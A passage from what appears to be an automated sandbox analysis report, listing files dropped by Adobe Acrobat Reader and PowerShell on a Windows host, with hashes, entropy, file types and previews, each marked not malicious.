SHA-256:	203F57EA765D3563AB9528D77B14E5881704AB0967F675900B4DA59DFF270464
SHA-512:	7E477137DE36511B79860B30AAA39E8956EC9E953BCB8C46E8830A21DC6E4CC5E704C09B2181E7D32265A8AB84C2BD5D75243ACAB6F77B670A3F08AF8562B8DF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6023f1f3-c718-4d3f-83a6-a07f18771033","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704636259,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.252189850006587
Encrypted:	false
SSDEEP:	6:YEQXJ2HXB0DrsBWDT654XVvR+FIbRI6XVW7+0YmaOoAvJf+dPeUkwRe9:YvXKXBBc654Fv0YpW7XEG28Ukee9
MD5:	5B882ED6CBAD9EDE0F1CCBBA8B0192C2
SHA1:	96931FB8CE24FD21368EED7C19958C9E7E7EC26E
SHA-256:	76A92FB7536CCC3EB471370DA47FCC2126AF6F25461FB3A57C517E72B50C15C3
SHA-512:	F2E5BFB42E2820111521DCFB9B52C771DF2080D9D56CABFC4272E574060201E4DD3F1DA77CF05A71FE627AA0D6E0FA28B506C967DEF5A7C0F9AFD2EA10C377CF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6023f1f3-c718-4d3f-83a6-a07f18771033","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704636259,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.25081114838025
Encrypted:	false
SSDEEP:	6:YEQXJ2HXB0DrsBWDT654XVvR+FIbRI6XVW7+0YmaOoAvJfbPtdPeUkwRe9:YvXKXBBc654Fv0YpW7XEGDV8Ukee9
MD5:	43F6A608F764B5B4E14DE06CE9B938F0
SHA1:	0FEF2FDB3FA4BB6293BEF80CD7F6972FA1107FC7
SHA-256:	F8774B93CBE29FCC878A4B39AD64239830487CB05F77152A9709CC937B6E9561
SHA-512:	A620428499EA80530A9E89A5249C5A825D921DC386853B7A027524F5BFD72432ED8C423D79EBAE0421DBFE6CD7DD1A5E8EDAA550D807AD9AE47673CE53E5617D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6023f1f3-c718-4d3f-83a6-a07f18771033","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704636259,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.252028117499234
Encrypted:	false
SSDEEP:	6:YEQXJ2HXB0DrsBWDT654XVvR+FIbRI6XVW7+0YmaOoAvJf21rPeUkwRe9:YvXKXBBc654Fv0YpW7XEG+16Ukee9
MD5:	590E8037C641FD8B52FC53487DAECF19
SHA1:	AE9CDF25E937772FC293C7D88AAD8B243E317F7C
SHA-256:	B22BE905033B4B8011A01155101927784E973ED6177E1932D49BD48F6F1C5AC0
SHA-512:	931908A4B2010B1152D100A4C66342DCAFD371D4AAF9C38A96DF5094A9E81039A8F2AD02E6CBDB0B0019EBB84353F88E921AF05E6123C49BD7753E642DCD9437
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6023f1f3-c718-4d3f-83a6-a07f18771033","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704636259,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.65929178656847
Encrypted:	false
SSDEEP:	24:Yv6XBy/ZliXBamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSW:YvEyRMXNBgkDMUJUAh8cvMW
MD5:	D754DBB15350A9DD8FB0B693A6C74C0B
SHA1:	E2904CB94D8C95B5A01B1CF6F13EF621906DC8E1
SHA-256:	5E02B526E94EC550136AE23097B01B98563D3E74B278215428B8DDDF174EC190
SHA-512:	A08B0683834C3D3B9FD63AE0A484B679635DDE8AF282B5E0AD7D38AF12F9FBDD74DC3598C273EB60C951F21564DFF0D2A033521E4CC47A4F65CEB69C9339B978
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6023f1f3-c718-4d3f-83a6-a07f18771033","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704636259,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.226930613508975
Encrypted:	false
SSDEEP:	6:YEQXJ2HXB0DrsBWDT654XVvR+FIbRI6XVW7+0YmaOoAvJfshHHrPeUkwRe9:YvXKXBBc654Fv0YpW7XEGUUUkee9
MD5:	06866CA002A24395CDE3699953F12928
SHA1:	A9DEB808E871B529C555E7A09A14A202A595CFB7
SHA-256:	26A0A7100DC6A4CB9B7AFE01E45596CCFABE51CC826A89A14E6BC38EBB5618AF
SHA-512:	98E0A9A1D7DBA95383C2AF8C537F247449CDBC2E04FAA84E072B4B2E2D0A3CD9A2A88E89877062650970BDD48C6B4CF9C68FBFCB816EA6C7EA81E3C63FEF14EE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6023f1f3-c718-4d3f-83a6-a07f18771033","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704636259,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2355549731016975
Encrypted:	false
SSDEEP:	6:YEQXJ2HXB0DrsBWDT654XVvR+FIbRI6XVW7+0YmaOoAvJTqgFCrPeUkwRe9:YvXKXBBc654Fv0YpW7XEGTq16Ukee9
MD5:	6C59EC91ADB2C7229ADEDFC18345D0EC
SHA1:	4E39CE657A7159446D9730715B247762BB1684D9
SHA-256:	E034C340E53F1EFB6F3890437858C9BD8034CE309C9F382AB007DBEBDEDD5722
SHA-512:	B7FEB28487F1FAA4834290AB64D6F69C0CE034C2BE7B1CEB585620CA4C9DAC254C284260845F37B9B894205EFF2FCD964F19AEE93C0D7A611F87803BA09180E4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6023f1f3-c718-4d3f-83a6-a07f18771033","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704636259,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.135636805658388
Encrypted:	false
SSDEEP:	24:Y6QMas+ayDpJUtKmPsPZNeK/0jKj0SM4hyY2/tTf2LS+CwGrr3Xt4XMyitX5kThP:YYYGhPsGKesPL8TfoPGrqXaJOW9M
MD5:	ED6560031039A39D1EFAF4C1BFBD4342
SHA1:	6240293057CDACFA89B0FD7427784B7753234D2D
SHA-256:	2B26E825C4C8DDCE78FFBE4227B421C39C080F65A1E18E3FA1D355B9B98C623C
SHA-512:	DDAAF24FD4217F753FF9AEED5895ED580299F031D636C2C958B453D89950E5D052FD26855A005B2F17FD3F09ED90AAAC843A35ACF9AF45B26752571B0C47FC5B
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"b4b5da48a3536b3497a02ffc5515370f","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736530305000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"dd5460d18114300c2755a623f5d4e0a2","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736530305000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"723f8c401065fd0bc0e92816f163a485","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736530305000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"b839695f4067dc8165a616446052bcd2","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736530305000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"9998c7258754189c8b7208137d19e108","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736530305000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"3d61156eb5e5cec4fc5d2c01e35d8592","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.0023383355058957
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7ursB1RZKHs/DqXp4dEpGQXuVGT3Hm8HmwQGb4dEF:TGufl2GL7msvgOqX6EjXu8T3zyGsO
MD5:	AEA5E4D76B78354F00307E8C9EE32A19
SHA1:	B0D7148D94A9292349BF9DD0189749A8E421165A
SHA-256:	4905AAF9E89CF3DAEC5B1BD7E6FA1C3AAD7266728B287EB1F49A474A9FAA99CA
SHA-512:	F14EAF5F56D2CE5F7F66951E8E8A64AF9B5A3AB289C9B2094E8E4DD1AC849A9FF4040C7C73A527291CE3A8B169359B1DA230317399433B558AAF454A60050BF0
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3652515398407739
Encrypted:	false
SSDEEP:	24:7+tfD1RZKHs/Ds/SpV4dEpGQXuVGT3Hm8HmwQGb4dEzqLhx/XYKQvGJF7urs9:7MpgOVpWEjXu8T3zyGsaqFl2GL7ms9
MD5:	108787B0BCB5DC69DAB36518F09EF54A
SHA1:	EB04EF6D7DA7D635C5DA7A71BAE34B1C5E911ED2
SHA-256:	0451D4DFB2E41AC2DC8FB37D443D5418166CBBD5AD9CB0B5B14DC3F1BFECFDCA
SHA-512:	97F47503899B7F339D496F3F1A0360350FD9741E668D8BAFA1858B77D8D56371CD16D2F8B459ABB272B18BCD6CC40EE1CCB63A320A7148D6D919A59586EC0FF9
Malicious:	false
Preview:	.... .c.....R.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#...z.>.....}.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgQApsEI2+mjCEoqP7FUJdIcQvSO7pYyu:6a6TZ44ADEQACPdWMdIVvSYpK
MD5:	481CC0A8B653CAD13094DC9A4CE95965
SHA1:	0B7740454F5F23E9BABF5AEEFD437D408B41C507
SHA-256:	F57F6E1CDCB0AA4A9F292FBAD6C7A7746D4717540962860556005F2F53CC84B4
SHA-512:	7B2947D7A00DFF9DA7D8CAF4EF2672CDFCDA7A11E7391061D7B95FDE2590D38B6AB6DC8EBCF6A51E1AC98AD264CF7A30BC127CAEC0742F319499168DFFC53D70
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:Nlllullkv/tz:NllU+v/
MD5:	6442F277E58B3984BA5EEE0C15C0C6AD
SHA1:	5343ADC2E7F102EC8FB6A101508730898CB14F57
SHA-256:	36B765624FCA82C57E4C5D3706FBD81B5419F18FC3DD7B77CD185E6E3483382D
SHA-512:	F9E62F510D5FB788F40EBA13287C282444607D2E0033D2233BC6C39CA3E1F5903B65A07F85FA0942BEDDCE2458861073772ACA06F291FA68F23C765B0CA5CA17
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIba715.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5085442896850614
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE3ElUU:Qw946cPbiOxDlbYnuRK+bD3VU
MD5:	37A187F0485B3C21ADB823D188D0B2FC
SHA1:	F6FDADF41DEB403038984A92BCD30DCF99D7C754
SHA-256:	56173883DB7BCE6EBF3DFBB56EDC1716B9A27EB9649948B89F0DCEB09D5ED8E0
SHA-512:	27AD7427EA560839A790F97C31685779575A7B80F7D37EC6BCFD832DB5BCF94E1F9A6A9F43070D6B38B435B211F2768A3AE0BF6CE65B13570D84AC7A23D767D7
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.2.:.3.1.:.4.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0gglpakm.z15.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vxjzggpf.h0t.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91kt6zzb_r18d5p_2u8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 12-31-40-903.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.328331719922634
Encrypted:	false
SSDEEP:	384:40jWjdjJbTLMbdzg+erR1/VUVeYEtR+mPM4MXM7VP5l/qT5I4esn00+P0o+b+nKP:dShhr7q9R
MD5:	EE9479513D0295924035A44DAC04B00F
SHA1:	18258BCC9A66EAD42F87A4148FA50FE79B7BC9DD
SHA-256:	C8EED4BDD58BDEF29B26AFC8B08871A0E16ACBD140CB5D8B76145CAD07286BD4
SHA-512:	79F5DD479C92ACA4BB9036C3FA9BFB2A013294A39F7BAA4D5FFCA2DF5E0D176ECBDBD421C0F26C582497747AD8441BAA65A4047FC6D6F764C38C639A73E7E0AA
Malicious:	false
Preview:	SessionID=a2986dee-383b-4a48-8c4f-fef8d7a0ee41.1736530300920 Timestamp=2025-01-10T12:31:40:920-0500 ThreadID=7320 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=a2986dee-383b-4a48-8c4f-fef8d7a0ee41.1736530300920 Timestamp=2025-01-10T12:31:40:943-0500 ThreadID=7320 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=a2986dee-383b-4a48-8c4f-fef8d7a0ee41.1736530300920 Timestamp=2025-01-10T12:31:40:943-0500 ThreadID=7320 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=a2986dee-383b-4a48-8c4f-fef8d7a0ee41.1736530300920 Timestamp=2025-01-10T12:31:40:943-0500 ThreadID=7320 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=a2986dee-383b-4a48-8c4f-fef8d7a0ee41.1736530300920 Timestamp=2025-01-10T12:31:40:944-0500 ThreadID=7320 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.392781386549428
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbY:Cx
MD5:	97FD48B7F6D07C51AFE37930988B1A5A
SHA1:	61FBD644016EDB078BBDE6C9F06F84296028BB91
SHA-256:	1B1A6882F8697FA7789D5FB6D376BB9E513E574BE3B9B1AF4FA0D583B03FAD62
SHA-512:	1C51DA0B6D94F873B887AEA462E66DF33035C79A29898AA3C770B0E614BCA125ACD5219151D58D8A44D1A84A7C84BB77F624C6D42E4109FCEACA2C206CA65FB7
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\7f0179c8-ef69-4fb5-8f87-37d667bf2ff2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/M7ouWLYZwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:RuWLYZwZGuGZn3mlind9i4ufFXpAXkru
MD5:	EC8D4FAB55F24C0E344D263724846C4A
SHA1:	5444D90F86D68A23AF7FB5434DEAE740D57D0312
SHA-256:	E489C11D38BFF8F1F51351BAEBEE9F723A5C036DA0B0CB9C82306251017054EE
